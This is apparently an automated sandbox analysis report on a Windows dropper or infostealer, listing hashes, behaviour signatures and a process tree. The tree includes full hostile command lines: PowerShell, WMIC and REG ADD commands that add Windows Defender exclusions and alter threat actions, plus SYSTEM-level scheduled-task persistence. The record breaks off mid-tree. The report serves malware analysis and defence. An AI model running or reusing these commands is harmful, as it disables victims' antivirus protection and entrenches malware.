Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-04-2024 23:43

General

  • Target

    99ec5388d313fa009657ce8b619b203f62053c5602d639364f05f978cb980dd1.exe

  • Size

    6.6MB

  • MD5

    d3acc3ecd7d0ebba98f5cb5d40eca69e

  • SHA1

    b47c16250eb0a92c3a2830b4fae6f2b31d22b44c

  • SHA256

    99ec5388d313fa009657ce8b619b203f62053c5602d639364f05f978cb980dd1

  • SHA512

    12714b3c5c9a572c7a713aa0271e79b7801764d0a96e96f22b489815b45318855671379dd4f202b115bf3c81f97358d067fd5e0a7b67cef4484eb6a7d56cf59a

  • SSDEEP

    196608:91O+PM1g/Yk3wokBf8uLAlC3qsW4Ul2VmHZ4Dc7t:3O+PCg/IokBUuk2UlW/Dc5

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\99ec5388d313fa009657ce8b619b203f62053c5602d639364f05f978cb980dd1.exe
    "C:\Users\Admin\AppData\Local\Temp\99ec5388d313fa009657ce8b619b203f62053c5602d639364f05f978cb980dd1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3952
    • C:\Users\Admin\AppData\Local\Temp\7zS3A2A.tmp\Install.exe
      .\Install.exe /riRVBdidLX "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1632
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4040
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3168
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1892
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bjzvzwrptCEFdBfgJx" /SC once /ST 23:44:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga\SsZBMntoSujlFmS\AsrnguO.exe\" Fi /Wgsite_idydi 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:3124
  • C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga\SsZBMntoSujlFmS\AsrnguO.exe
    C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga\SsZBMntoSujlFmS\AsrnguO.exe Fi /Wgsite_idydi 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:4112
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:2404
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:1744
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3396
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4064
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:4464
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:3632
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2096
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4924
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:4480
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:720
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4396
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3184
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2304
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3360
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1556
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2128
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3712
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:912
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1212
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2936
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4612
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:2132
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1536
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1968
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3664
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3808
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4916
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AhrcuswkDyIWnALCLrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AhrcuswkDyIWnALCLrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OiJitsNRDAtU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OiJitsNRDAtU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\atUnoJEcU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\atUnoJEcU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bHChqWbaifmeC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bHChqWbaifmeC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tYlulnlhfvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tYlulnlhfvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hdPjkOXNzukcsjVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hdPjkOXNzukcsjVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\HbtuuClNkkkdGbCN\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\HbtuuClNkkkdGbCN\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4708
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AhrcuswkDyIWnALCLrR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:3300
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AhrcuswkDyIWnALCLrR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:4820
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AhrcuswkDyIWnALCLrR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:1828
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OiJitsNRDAtU2" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4336
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OiJitsNRDAtU2" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:1924
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\atUnoJEcU" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:1476
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\atUnoJEcU" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:2900
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bHChqWbaifmeC" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:4196
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bHChqWbaifmeC" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4900
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tYlulnlhfvUn" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4960
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tYlulnlhfvUn" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:980
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hdPjkOXNzukcsjVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3124
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hdPjkOXNzukcsjVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:5056
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2768
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:5004
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1208
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4736
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4848
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\IzgzDpAcykvAyjOga /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:5048
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\HbtuuClNkkkdGbCN /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4404
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\HbtuuClNkkkdGbCN /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2804
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
